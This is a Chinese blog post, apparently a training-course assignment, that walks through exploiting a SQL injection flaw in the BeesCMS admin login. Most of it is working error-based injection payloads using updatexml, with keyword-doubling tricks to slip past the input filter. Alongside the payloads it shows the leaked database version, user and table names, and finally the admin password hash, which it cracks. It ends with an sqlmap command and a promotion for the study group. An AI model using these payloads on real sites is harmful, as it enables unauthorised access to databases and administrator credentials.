本文主要是介绍BeesCMS的SQL注入漏洞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
本文作者:arakh(MS08067实验室Web安全攻防知识星球学员)
根据星球布置作业,完成BeesCMS的SQL注入漏洞过程如下:
1. 扫描后台
获得后台登陆地址:
2. 登陆后台,发现存在SQL报错,而且同一个验证码可以重复提交 使用
3. 由于有报错信息,尝试使用联合查询或是报错注入
测试发现,sql语句过滤了 and select 等号 等符号。等号用like替 代, and 用 an and d 替代, select 用 seleselectct替代 , from 用 fro from m替代,
where用wh where ere替代
因为注入的页面为登陆页面,即使union查询的语句语法正确了,也 无法获得回显,因此考虑使用报错注入
4. 报错注入
// 查询数据库版本:
user=admin' a and nd
updatexml(1,concat(0x7e,version(),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
操作数据库失败XPATH syntax error: '~5.5.53~'
// 查询当前用户
user=admin' a and nd updatexml(1,concat(0x7e,user(),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
操作数据库失败XPATH syntax error: '~root@localhost~'
// 查询当前数据库
user=admin' a and nd
updatexml(1,concat(0x7e,database(),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
操作数据库失败XPATH syntax error: '~beescms~'
// 查询当前表名
user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(table_name) fr from om
information_schema.tables whe where re table_schema like
database()),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
操作数据库失败XPATH syntax error:
'~bees_admin,bees_admin_group,bee'
发现输出字符串长度被限制了,使用截取字符串函数,测试发现每次 输出多为32个字符,所以需要不断变换截取字符的起始位置来获得 所有表的名称
user=admin' a and nd
updatexml(1,concat(0x7e,substr((selselectect
group_concat(table_name) fr from om
information_schema.tables whe where re table_schema like
database()),1,32),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
user=admin' a and nd
updatexml(1,concat(0x7e,substr((selselectect
group_concat(table_name) fr from om
information_schema.tables whe where re table_schema like
database()),32,64),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
// 查询bees_admin表中的列名
user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(column_name) fr from om
information_schema.columns whe where re table_schema like
database() a and nd table_name like 'bees_admin'),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
操作数据库失败XPATH syntax error:
'~id,admin_name,admin_password,ad'
同样存在字符串输出长度限制,需要使用substr()函数进行截取。
// 获取字段内容
user=admin' a and nd updatexml(1,concat(0x7e,(selselectect group_concat(admin_name) fr from om
beescms.bees_admin),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
操作数据库失败XPATH syntax error: '~admin~'
user=admin' a and nd updatexml(1,concat(0x7e,(selselectect
admin_password fr from om beescms.bees_admin wh where ere
admin_name like 'admin'),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
操作数据库失败XPATH syntax error: '~21232f297a57a5a743894a0e4a801fc'
user=admin' a and nd
updatexml(1,concat(0x7e,substr((selselectect admin_password fr
from om beescms.bees_admin wh where ere admin_name like
'admin'),24,64),0x7e),1)-
&password=fdjal&code=d41b&submit=true&submit.x=42&submit.y=35
操作数据库失败XPATH syntax error: '~e4a801fc3~'
拼凑后的md5值:21232f297a57a5a743894a0e4a801fc3
解密 后:admin
5. SQLMap
C:\Users\Administrator\Desktop\sqlmap>sqlmap.py -r bees.log -p "user"
枚举表名的过程失败
扫描下方二维码加入星球学习
加入后会邀请你进入内部微信群,内部微信群永久有效!
目前26000+人已关注加入我们
这篇关于BeesCMS的SQL注入漏洞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!